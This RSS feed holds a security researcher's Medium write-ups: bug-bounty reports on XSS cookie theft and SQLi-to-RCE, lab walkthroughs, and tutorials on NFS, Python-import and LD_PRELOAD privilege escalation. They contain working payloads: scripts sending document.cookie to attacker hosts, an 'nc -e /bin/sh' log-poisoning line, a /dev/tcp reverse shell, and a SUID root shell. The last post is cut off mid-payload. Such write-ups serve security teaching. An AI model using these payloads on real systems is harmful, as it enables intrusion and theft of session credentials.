<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Orion on Medium]]></title>
        <description><![CDATA[Stories by Orion on Medium]]></description>
        <link>https://medium.com/@orion7715?source=rss-f9e7c6fd3d57------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2hJfC8SrHzqdLJJJfSwp_g.jpeg</url>
            <title>Stories by Orion on Medium</title>
            <link>https://medium.com/@orion7715?source=rss-f9e7c6fd3d57------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:21:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@orion7715/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From File Upload to Admin Account Takeover: Exploring Blind XSS via Malicious File Content]]></title>
            <link>https://orion7715.medium.com/from-file-upload-to-admin-account-takeover-exploring-blind-xss-via-malicious-file-content-cba1ac63ab11?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/cba1ac63ab11</guid>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 14:16:54 GMT</pubDate>
            <atom:updated>2026-07-05T14:16:54.371Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*-Vh_4Nt59D25MZGqrT8RrQ.jpeg" /></figure><p>Hi, I’m Hashem Ali Kahil , Orion7715</p><p>In this write-up, I will walk through how a standard file upload feature on my university portal (sar.su.edu.ye) was leveraged to achieve Stored/Blind Cross-Site Scripting (XSS), ultimately leading to the extraction of sensitive administrator session cookies.</p><h3>Executive Summary</h3><p>During a security assessment of my university’s portal, I investigated a document/file upload feature. While the application implemented some basic defensive measures — such as stripping file extensions and randomizing filenames — it failed to properly validate the underlying file content and enforce safe content-delivery headers. This allowed an attacker to upload JavaScript payloads disguised as text, leading to execution in the context of the user’s session. By leveraging a Blind XSS vector, it was possible to capture high-privilege administrator cookies due to a lack of protective session flags.</p><h3>The Flaws Identified</h3><h4>1. Inadequate Content-Type Validation and Enforcement</h4><p>While the application restricted extension handling by stripping them entirely and randomizing the filename, it relied on the browser’s MIME-sniffing behavior or served the file under a context (like text/html) that allowed the browser to interpret the file content as executable script rather than a raw, sandboxed download.</p><h4>2. Missing HttpOnly Cookie Attribute</h4><p>The session cookies used by the application lacked the HttpOnly flag. This configuration flaw ensures that any JavaScript executing within the origin can access session identifiers via document.cookie, transforming a basic XSS vulnerability into a full session-hijacking vector.</p><h3>The Exploit Chain</h3><h4>Step 1: Analyzing the File Upload Mechanics</h4><p>The application offered an interface to upload documents. Upon uploading a standard image or text file, the backend processed the file as follows:</p><ul><li>The original filename was discarded</li><li>A randomized string was assigned as the new name (e.g., a7f9b2c4e1).</li><li>The file extension was stripped.</li></ul><p>When accessing the file directly via its URL, the server delivered the content. However, because the server did not strictly enforce a safe container or attachment disposition, the browser evaluated the raw content structure.</p><h4>Step 2: Injecting the Payload</h4><p>Instead of standard image bytes or plain text, a payload containing an XSS trigger was supplied inside the file body:html</p><pre>&lt;script&gt;<br>  var img = new Image();<br>  img.src = &quot;https://attacker-callback.com/log?cookie=&quot; + btoa(document.cookie);<br>&lt;/script&gt;</pre><p>When navigating to the randomized file URL, the browser parsed the file content. Because the content started with HTML/JavaScript tags and the server lacked strict Content-Type: application/octet-stream or Content-Disposition: attachment headers, the browser interpreted the page as text/html and executed the script.</p><h4>Step 3: Triggering Blind XSS</h4><p>Because these uploaded documents were accessible or reviewed via an administrative backend dashboard, the payload remained stored. Once an administrative user viewed the associated file or activity log:</p><ol><li>The script executed implicitly within the administrator’s active session portal.</li><li>document.cookie read the active session tokens.</li><li>The data was exfiltrated back to the external listener, granting access to the administrative session.</li></ol><h3>Impact</h3><ul><li><strong>Session Hijacking:</strong> Complete compromise of administrative or user accounts.</li><li><strong>Data Exposure:</strong> Access to sensitive student, academic, or administrative records hosted within the portal control panel.</li><li><strong>Impersonation:</strong> Unauthorized administrative actions performed under the guise of legitimate credentials.</li></ul><h3>Remediation Guidelines</h3><p>To secure the application against this exploit chain, the following mitigation strategies should be implemented:</p><h4>1. Secure File Delivery Headers</h4><p>When serving user-uploaded files, ensure the server forces the browser to treat the files as safe downloads rather than renderable web content.</p><ul><li>Set the Content-Type strictly to application/octet-stream for unknown or untrusted files.</li><li>Enforce the Content-Disposition header to ensure files are downloaded rather than viewed inline:</li></ul><pre>Content-Disposition: attachment; filename=&quot;downloaded_file&quot;</pre><h4>2. Set the HttpOnly Flag on Cookies</h4><p>Protect session identifiers from being accessed via client-side scripts. Every sensitive cookie should include the HttpOnly directive in the Set-Cookie header:</p><pre>Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict</pre><h4>3. Implement Content Security Policy (CSP)</h4><p>Deploy a robust Content Security Policy to restrict where scripts can be loaded from and where data can be exfiltrated. For example:</p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;; connect-src &#39;self&#39; https://trusted-api.com;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cba1ac63ab11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Assessment Report: Full Exploit Chain (SQLi to RCE)]]></title>
            <link>https://orion7715.medium.com/security-assessment-report-full-exploit-chain-sqli-to-rce-5c6407fc34d1?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c6407fc34d1</guid>
            <category><![CDATA[bad-authlogic]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sqli]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Thu, 04 Jun 2026 23:44:04 GMT</pubDate>
            <atom:updated>2026-06-04T23:44:04.012Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Researcher:</strong> Hashem Ali Kahil / Orion7715</p><p><strong>Platforms:</strong> [REDACTED_SUBDOMAIN_A] &amp; [REDACTED_SUBDOMAIN_B]</p><p><strong>Severity:</strong> Critical</p><h3>1. Executive Summary</h3><p>During a security assessment, I identified a complex multi-stage attack chain across different subdomains of [REDACTED_DOMAIN]. The exploitation began with a <strong>Union-Based SQL Injection</strong> on [REDACTED_SUBDOMAIN_A]. Following this, I performed extensive reconnaissance and fuzzing on other subdomains, which led to the discovery of a source code leak (backup.zip) on [REDACTED_SUBDOMAIN_B]. By analyzing the leaked source code, I identified a critical authentication bypass and an insecure file upload vulnerability, which ultimately led to <strong>Remote Code Execution (RCE)</strong> on [REDACTED_SUBDOMAIN_B].</p><h3>2. Technical Attack Path</h3><h3>Stage 1: SQL Injection on [REDACTED_SUBDOMAIN_A]</h3><p>The vulnerability was located at: <a href="https://[REDACTED_SUBDOMAIN_A]/index.php?system=[INJECTION]&amp;t=tparam&amp;k=kparam">https://[REDACTED_SUBDOMAIN_A]/index.php?system=[INJECTION]&amp;t=tparam&amp;k=kparam</a></p><p>The system parameter was injected directly into the FROM clause. I bypassed the structural requirements using the <strong>Subquery Alias Method</strong>:</p><pre>(SELECT 1 AS sname, 2 AS glos, 3 AS total, 4 AS sho3ba) AS a WHERE 1=0 UNION SELECT ...</pre><p>This allowed me to map the database structure and exfiltrate user credentials and only admin passwords was Stored hash all other users just plain text.</p><h3>Stage 2: Cross-Subdomain Reconnaissance &amp; Code Leak</h3><p>It is important to note that each subdomain operated on <strong>independent database configurations</strong>. After compromising [REDACTED_SUBDOMAIN_A], I shifted my efforts to other subdomains. Through intensive directory fuzzing on [REDACTED_SUBDOMAIN_B], I discovered an exposed backup.zip file. This archive contained the full source code for [REDACTED_SUBDOMAIN_B], providing a roadmap to its hidden administrative panels.</p><h3>Stage 3: Authentication Bypass on [REDACTED_SUBDOMAIN_B]</h3><p>The source code analysis revealed that administrative sessions were managed entirely through insecure client-side cookies. The logic was as follows:</p><pre>$name = $_COOKIE[&#39;nameadmin&#39;];<br>$email = $_COOKIE[&#39;emailadmin&#39;];<br>// ... query checks the hash against the cookie<br>if($rowuserdata[&#39;loginhash&#39;] != $_COOKIE[&#39;sessionhashadmin&#39;]) { ... }</pre><p>Because the application relied on these cookies for authorization,there is no need to crack any password it’s was rely on hash in cookie , I was able to manually inject the required administrative values (retrieved from my research) into my browser, effectively bypassing the login page and gaining unauthorized administrative access with out crack any hash.</p><h3>Stage 4: Remote Code Execution (RCE)</h3><p>Within the administrative dashboard of [REDACTED_SUBDOMAIN_B], I identified a file upload feature. By analyzing the upload handler in the leaked source code, I discovered a way to bypass restrictions:</p><ul><li><strong>Exploitation:</strong> I uploaded a .htaccess file configured to treat the .orion extension as executable PHP.</li><li><strong>Payload:</strong> I uploaded a PHP web shell disguised as a file with the .orion extension.</li><li><strong>Execution:</strong> Triggering the file led to full RCE, allowing me to execute system commands on the server hosting [REDACTED_SUBDOMAIN_B].</li></ul><h3>3. Findings &amp; Credential Analysis</h3><ul><li><strong>Database Isolation:</strong> Each subdomain maintained isolated database instances.</li><li><strong>Cryptographic Failures:</strong> While administrative passwords were hashed, I identified that the hashing implementation was weak, as I was able to crack one admin password (123123) offline. Standard user and student data, however, were stored in <strong>plaintext</strong>.</li></ul><h3>4. Remediation Recommendations</h3><ul><li><strong>Secure SQL Injection:</strong> Implement strict Whitelisting for table identifiers in the FROM clause and utilize Parameterized Queries for all other inputs.</li><li><strong>Centralized Session Management:</strong> Abandon cookie-based authentication. Use secure, server-side session management ($_SESSION) that cannot be tampered with by the client.</li><li><strong>Strict File Upload Security:</strong></li><li>Implement a strict “Allow-list” for file extensions and validate file content (magic bytes).</li><li>Disable AllowOverride in Apache to prevent .htaccess files from altering server execution policies.</li><li><strong>Credential Storage:</strong> Migrate all password storage to use strong, salted hashes (e.g., bcrypt or Argon2). Plaintext storage must be permanently prohibited.</li><li><strong>Information Disclosure Prevention:</strong> Remove all backups and sensitive configuration files from production web directories. Implement automated scans to detect exposed files.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c6407fc34d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Impact Scenario Hackviser]]></title>
            <link>https://orion7715.medium.com/impact-scenario-hackviser-13322d250681?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/13322d250681</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[hackvis]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 02:51:18 GMT</pubDate>
            <atom:updated>2026-02-25T02:52:58.387Z</atom:updated>
            <content:encoded><![CDATA[<p>impcat : it’s Medium Level Scenario in Hackviser You must Exploit LFI and Kernel for Privilege Escalation</p><h3>Port Scanning</h3><pre>22/tcp open  ssh<br>80/tcp open  http</pre><h3>Fuzzing</h3><pre>/index.php - 302<br>/login.php - 200<br>/logout.php - 302<br>/register.php<br><br>/uploads/<br>/webadmin/<br><br>/webadmin/components/<br>/webadmin/assets/<br>/webadmin/tables/</pre><p>I evaluated the login form for SQLi and ran a dictionary attack; however, both attempts yielded no results</p><p>“I created an account and found the first answer, but I’m stuck again.”</p><p>While checking the Burp history, I noticed that /webadmin/index.php redirects, but it still leaks the content. This allowed me to find the second answer and a new endpoint: tables/datatables.php.</p><p>I went back to my account’s payment section, which was ‘Pending Admin Approval’. I then accessed: GET /webadmin/tables/datatables.php</p><p>There, I found a hidden form:</p><pre>&lt;form action=&quot;/../../sendFile.php&quot; method=&quot;post&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;orion&quot;&gt;<br>  &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;Confirm&lt;/button&gt;<br>&lt;/form&gt;</pre><p>I manually executed the request using <strong>curl</strong>:</p><pre>curl -X POST -d &quot;username=orion&quot; http://impact.hv/sendFile.php</pre><p>After that, I checked my account again; the payment was already <strong>approved</strong>. Now, the profile page is accessible at http://impact.hv/profile.php.</p><p>“When clicking any of the buttons, the following request is generated:</p><pre>http://impact.hv/search.php?name=dmVydGV4dGVjaG5vbG9naWVzLnNxbA</pre><p>The parameter is <strong>Base64 encoded</strong>. I started testing for <strong>LFI (Local File Inclusion)</strong>, but it was challenging. My initial Base64 encoded payloads didn’t work, suggesting a filter was in place. To bypass it, I tried using ....// instead of the standard ../&quot;</p><pre>....//....//....//....//....//....//....//var/log/apache2/access.log<br># Base64<br>Li4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c=</pre><pre>GET /search.php?name= HTTP/1.1</pre><p>The bypass worked. I attempted to access the access.log file, but due to its large size, the server could not handle the request. To resolve this, I had to reload the lab machine.&quot;</p><p>I Send this to Got Reverse Sehll</p><pre>curl -A &quot;&lt;?php system(&#39;nc -e /bin/sh IP PORT&#39;); ?&gt;&quot; http://impact.hv/curl </pre><p>Then Create Listener and Sent this Request</p><pre>GET /search.php?name=Li4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vLi4uLi8vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c= HTTP/1.1</pre><p>Then Find the Answer in</p><p>cat /home/impact/targets.txt</p><h3>Privilege Escalation CVE-2022–0847</h3><p>I used this CVE to be Root You Could Download the Exploit</p><pre>git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git<br><br># The First way <br>bash complie.sh<br>./exploit-1<br><br># Second way<br>./exploit-2 /usr/bin/passwd</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13322d250681" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Coffee Shop Scenario — Hackviser]]></title>
            <link>https://orion7715.medium.com/coffee-shop-scenario-hackviser-db55d023cc59?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/db55d023cc59</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[labs]]></category>
            <category><![CDATA[jwt-security]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[coffee-shop]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 02:22:51 GMT</pubDate>
            <atom:updated>2026-02-25T02:22:51.037Z</atom:updated>
            <content:encoded><![CDATA[<p>Your task is to hack into Lore Coffee’s online ordering system and administration page to reveal the hacker’s identity. This will require you to identify vulnerabilities in the cafe’s digital infrastructure, exploit them in some way, and identify the hacker through the order history</p><h3>Fuzzing</h3><pre>/static/<br>/adminpanel/</pre><p>I evaluated the login form for SQLi and ran a dictionary attack; however, both attempts yielded no results</p><p>While enumerating the application, I discovered a registration endpoint at /register. Although the page appeared empty and lacked any visible HTML forms, the HTTP 200 OK status suggested the endpoint was active</p><p>I initially attempted to fuzz the page with username and password parameters, but the requests failed. However, after switching to a <strong>POST method</strong> and refining the payload to include username, email, and password with the Content-Type: application/x-www-form-urlencoded header, the registration was successful.&quot;</p><p>After successfully registering, I received a <strong>JSON Web Token (JWT)</strong>. I used the <strong>JWT Editor</strong> extension in Burp Suite to decode and analyze the token structure.</p><p>The payload revealed a simple id parameter:</p><pre>{  <br>    &quot;exp&quot;: 1767016377,  <br>    &quot;id&quot;: 2  <br>}</pre><p>I modified the id value from 2 to 1 (which is commonly assigned to the administrator account). To my surprise, the application accepted the modified token without proper signature verification, granting me full administrative access</p><p>I checked the <strong>Orders</strong> section. I found the full name of the user I was looking for. Interestingly, he was buying a coffee every single day also the Phone Number</p><p>Enjoy your coffee, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db55d023cc59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalating Privileges via NFS Misconfiguration]]></title>
            <link>https://orion7715.medium.com/escalating-privileges-via-nfs-misconfiguration-6c15e6edd97c?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c15e6edd97c</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[fn]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Sat, 03 Jan 2026 00:46:26 GMT</pubDate>
            <atom:updated>2026-01-03T00:46:26.251Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GachTC32Eclf5r0GSPJ2mA.jpeg" /></figure><h3>The no_root_squash Vulnerability</h3><p>Network File System (NFS) is a widely used protocol for file sharing in Linux environments. However, a single line of misconfiguration in /etc/exports can allow an attacker to move from a low-privileged user to full <strong>Root</strong> access.</p><p>In this post, we will explore how to identify and exploit the no_root_squash configuration.</p><h3>1. Enumeration: Finding the Entry Point</h3><p>The first step in any assessment is identifying accessible shares. You can list remote mounts by issuing the following command:</p><p>Bash</p><pre>showmount -e 10.129.2.12</pre><p>Once a share is identified, the security of that share depends heavily on the options set by the administrator.</p><h3>2. Understanding Root Squashing</h3><p>When an NFS volume is created, the server defines how it treats the “Root” user connecting from a client machine.</p><h4>root_squash (The Secure Default)</h4><p>If the root user accesses an NFS share, the server maps the request to the nfsnobody user—an unprivileged account. Any files uploaded by the remote root user will be owned by nfsnobody, preventing the creation of malicious <strong>SUID</strong> binaries.</p><h4>no_root_squash (The Vulnerability)</h4><p>This setting allows remote users connecting as root to retain their root privileges on the NFS server. This is a critical security risk because it allows a remote attacker to create files on the share that are owned by the server’s root user.</p><p><strong>Tip:</strong> You can check the configuration on the target machine by inspecting the exports file</p><pre>cat /etc/exports</pre><h3>3. The Attack Scenario</h3><p>If we find a directory (e.g., /tmp) exported with no_root_squash, we can craft a <strong>SETUID</strong> binary on our local machine and move it to the server to obtain a root shell.</p><h4>Step 1: Create a Simple Shell Wrapper</h4><p>On your local machine, write a small C program (shell.c) that executes /bin/bash:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>int main(void)<br>{<br>    setuid(0); <br>    setgid(0); <br>    system(&quot;/bin/bash&quot;);<br>}</pre><h4>Step 2: Compile the Binary</h4><p>Compile the code locally:</p><pre>gcc shell.c -o shell</pre><h4>Step 3: Mount the Remote Share</h4><p>Mount the target’s vulnerable NFS directory to a local folder (e.g., /mnt):</p><pre>sudo mount -t nfs 10.129.2.12:/tmp /mnt</pre><h4>Step 4: Transfer and Set Permissions</h4><p>Copy your compiled binary to the share. Because no_root_squash is active, the file will be saved on the server as being owned by <strong>root</strong>. Then, set the <strong>SUID</strong> bit:</p><pre># Copy to the NFS share<br>cp shell /mnt<br><br># Grant SUID permission<br>chmod u+s /mnt/shell</pre><h3>4. Execution: Gaining Root</h3><p>Now, switch back to your low-privileged session on the <strong>target machine</strong>. Navigate to the shared directory and execute the binary:</p><pre>cd /tmp<br>./shell</pre><p><strong>Result:</strong> The binary runs with the privileges of its owner (Root), spawning a root shell and giving you full control over the host.</p><h3>Conclusion</h3><p>Misconfigurations like no_root_squash highlight the importance of the <strong>Principle of Least Privilege</strong>. To secure NFS, always ensure root_squash is enabled unless there is a specific, documented need for the alternative.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c15e6edd97c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Library Hijacking]]></title>
            <link>https://orion7715.medium.com/python-library-hijacking-d1c0efeb21ef?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1c0efeb21ef</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[python-libraries]]></category>
            <category><![CDATA[python-hijacking]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Sat, 03 Jan 2026 00:22:44 GMT</pubDate>
            <atom:updated>2026-01-03T00:23:51.263Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1V4q3k1cIJduIp0D60WDw.jpeg" /></figure><p>When you write import math in Python, do you know exactly which file is being loaded? If the answer is &quot;no,&quot; your system might be at risk of <strong>Library Hijacking</strong>.</p><h3>Where Does Python Look First?</h3><p>To understand the vulnerability, you must know Python’s search order. When you import a module, Python looks through a list of directories called sys.path in this specific order:</p><ol><li><strong>The Current Directory:</strong> The folder where your script is running.</li><li><strong>PYTHONPATH:</strong> Extra directories defined by the user.</li><li><strong>Standard Libraries:</strong> The built-in modules (like os, math, sys).</li><li><strong>Site-packages:</strong> Third-party libraries installed via pip.</li></ol><h3>The Vulnerability: A Simple Example</h3><p>The danger lies in <strong>Step 1</strong>. Since Python looks in the current folder before looking at the official libraries, an attacker can “hijack” the import process.</p><p>The Scenario:</p><p>Imagine you have a script named server.py that uses the official base64 library to decode data:</p><p>Python</p><pre># server.py<br>import base64<br><br>data = &quot;SGVsbG8=&quot;<br>print(base64.b64decode(data))</pre><p><strong>The Attack</strong>: If an attacker has access to the same folder, they can create a malicious file named base64.py:</p><p>Python</p><pre># malicious base64.py<br>import os<br><br>print(&quot;Hijacked!&quot;)<br>os.system(&quot;whoami&quot;) # Or any malicious command</pre><p>The Result:</p><p>When you run python3 server.py, Python finds the attacker’s base64.py in the current folder first. Instead of decoding data, it executes the attacker’s code. If you run that server script with sudo, the attacker now has root access.</p><h3>How to Protect Yourself</h3><ol><li><strong>Check Permissions:</strong> Ensure that regular users cannot write files into folders where administrative scripts are kept.</li><li><strong>Use Virtual Environments:</strong> Always run your projects in a venv. This isolates your environment and makes path management cleaner.</li><li><strong>Clean your Path:</strong> Be careful when adding directories to your PYTHONPATH. Never include folders that are world-writable (like /tmp).</li><li><strong>Avoid Crowded Folders:</strong> Don’t run Python scripts directly from your Downloads or other shared folders where malicious files might be lurking.</li></ol><h3>Summary</h3><p>Library Hijacking is a reminder that <strong>context matters</strong></p><p>Just because a library is “built-in” doesn’t mean it’s being loaded from a safe place. Always know what is sitting in your current working directory!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1c0efeb21ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing PHP disable_functions via `LD_PRELOAD` Injection]]></title>
            <link>https://orion7715.medium.com/bypassing-php-disable-functions-via-ld-preload-injection-cc74c5be4868?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc74c5be4868</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[file-upload-bypass]]></category>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[bypass-disable-functions]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 14:19:27 GMT</pubDate>
            <atom:updated>2025-12-26T14:33:40.836Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*cniZF_0xunAHZkZ9nQ2qrQ.png" /></figure><h3>File Upload Bybass , Bypass Disable Functions</h3><h3>1. Introduction</h3><p>In hardened PHP environments, one of the most common defensive measures is disabling dangerous functions that allow command execution or process creation at the operating system level</p><h4>Functions such as:</h4><ul><li><strong>system()</strong></li><li><strong>exec()</strong></li><li><strong>shell_exec()</strong></li><li><strong>passthru()</strong></li></ul><p>are frequently disabled using the disable_functions` directive in the `php.ini` configuration file.</p><p>This restriction is intended to prevent attackers from executing arbitrary system commands even if they gain code execution inside a PHP context.</p><p>However, <strong>this protection is incomplete</strong>.</p><h3>2. Attack Surface Analysis</h3><p>While administrators usually focus on well-known dangerous functions, other PHP functions are often overlooked and left enabled.</p><p>Examples include:</p><p>&gt; `dl()` allows dynamic loading of PHP extensions <br>&gt; `putenv()`_ allows modification of environment variables <br>&gt; `mail()` _ spawns a system-level mail transfer agent (e.g., `sendmail`)</p><p>During a penetration test, a common and critical step is <strong>enumerating which PHP functions remain enabled</strong>, as a single forgotten function can completely undermine the security model</p><h3>3. Technique Overview</h3><p>One effective yet still underutilized technique is abusing the combination of:</p><p>&gt; `putenv()` <br>&gt; `mail()` <br>&gt; the Linux environment variable `LD_PRELOAD`</p><p>This technique is <strong>not new</strong> .<br>It was reported to PHP back in <strong>2008</strong> (by _gat3way_) and <strong>still works today</strong> in poorly hardened environments.</p><h3>4. Why `LD_PRELOAD` Works</h3><blockquote><strong>LD_PRELOAD :</strong> is a Linux environment variable that forces the dynamic linker to load a specified shared object (.so) <strong>before any other libraries</strong> .</blockquote><p>In practice, this means:</p><ul><li>If a program uses a function from (<strong>ibc.so</strong>)</li><li>and we provide our own implementation of that function in a malicious (<strong>.so</strong>)</li><li>our function will be executed <strong>instead of the legitimate one</strong></li></ul><p>This allows <strong>function hijacking (hooking) </strong>at the operating system level.</p><p>Crucially:</p><ul><li>disable_functions affects <strong>PHP only</strong></li><li><strong>LD_PRELOAD</strong> operates at the <strong>OS loader level</strong></li></ul><p>Once PHP spawns a system process, PHP restrictions are no longer relevant.</p><h3>5. Triggering Code Execution via `mail()`</h3><p>The `mail()` function internally executes a system binary such as `sendmail`</p><p>If:</p><ul><li><strong>putenv()</strong> is enabled</li><li><strong>mail()</strong> is enabled</li></ul><p>We can:</p><p>1. Set <strong>LD_PRELOAD</strong> to point to a malicious shared library <br> <br> 2. Trigger execution via <strong>mail()</strong><br> <br> 3. Achieve arbitrary command execution <strong>without using any disabled PHP function</strong></p><h3>6. Tooling: Chankro</h3><p>To automate this technique, we can use <strong>Chankro</strong>, a tool developed by Tarlogic Security specifically to bypass `disable_functions` using `LD_PRELOAD`.</p><h4>Purpose of the Tool</h4><p>Chankro:</p><ul><li>Generates a malicious `.so` library</li><li>Creates a PHP wrapper that sets `LD_PRELOAD`</li><li>Triggers execution via `mail()`</li><li>Executes an attacker-controlled payload</li></ul><h3>7. Installation</h3><pre>git clone https://github.com/TarlogicSecurity/Chankro.git <br>cd Chankro <br>python2 chankro.py - help</pre><blockquote>⚠️ <strong>Note:</strong> Chankro requires <strong>Python 2</strong></blockquote><h3>8. Usage</h3><p>Create bash Script Make Rev Shell Connection <strong>`c.sh`</strong></p><pre>#!/bin/bash <br>/bin/bash -i &gt;&amp; /dev/tcp/&lt;LHOST&gt;/&lt;LPORT&gt; 0&gt;&amp;1</pre><p><strong>Generate the Exploit</strong></p><pre>python2 chankro.py \ <br> - arch 64 \ <br> - input c.sh \ <br> - output The_File_You_Will_Upload.php \ <br> - path /var/www/html</pre><p>Then it’s Gonna Create PHP File , You Just Need To Create Listener and Upload the PHP File Then Visit the Path of File</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc74c5be4868" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Carp Scenario HackVsier]]></title>
            <link>https://orion7715.medium.com/carp-scenario-hackvsier-21de048f54e7?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/21de048f54e7</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[blind-xss-exploitation]]></category>
            <category><![CDATA[hackeviser]]></category>
            <category><![CDATA[carp]]></category>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Tue, 09 Dec 2025 23:22:18 GMT</pubDate>
            <atom:updated>2025-12-09T23:22:18.371Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Level</em> : Medium</p><p><em>Category</em> : Web</p><p>After fuzzing everything and performing port scanning, I found nothing.</p><p>Then I tested <strong>Blind XSS</strong></p><p>I started a Python server:</p><pre>python3 -m http.server 8080</pre><p>2. Payload:</p><pre>&lt;script src=&quot;http://IP:8080&quot;&gt;&lt;/script&gt;</pre><p>I received a request, so I first tried to steal the cookies:</p><pre>&lt;script&gt;<br>image = new Image();<br>image.src=&#39;http://IP:PORT/?c=&#39;+document.cookie;<br>&lt;/script&gt;</pre><p>But I received no data — just an empty request</p><p><strong>Fetching the Page Data</strong></p><p>I tried fetching the entire page using a GET request, but it failed.<br> So I switched to a POST request</p><p>I created a Python server to handle POST requests:</p><pre>from http.server import BaseHTTPRequestHandler, HTTPServer<br><br>class Handler(BaseHTTPRequestHandler):<br>    def do_POST(self):<br>        length = int(self.headers[&quot;Content-Length&quot;])<br>        data = self.rfile.read(length).decode()<br>        print(&quot;\n[DATA RECEIVED]\n&quot;, data)<br>        self.send_response(200)<br>        self.end_headers()<br><br>HTTPServer((&quot;0.0.0.0&quot;, 8080), Handler).serve_forever()</pre><p>The Payload :</p><pre>&lt;svg 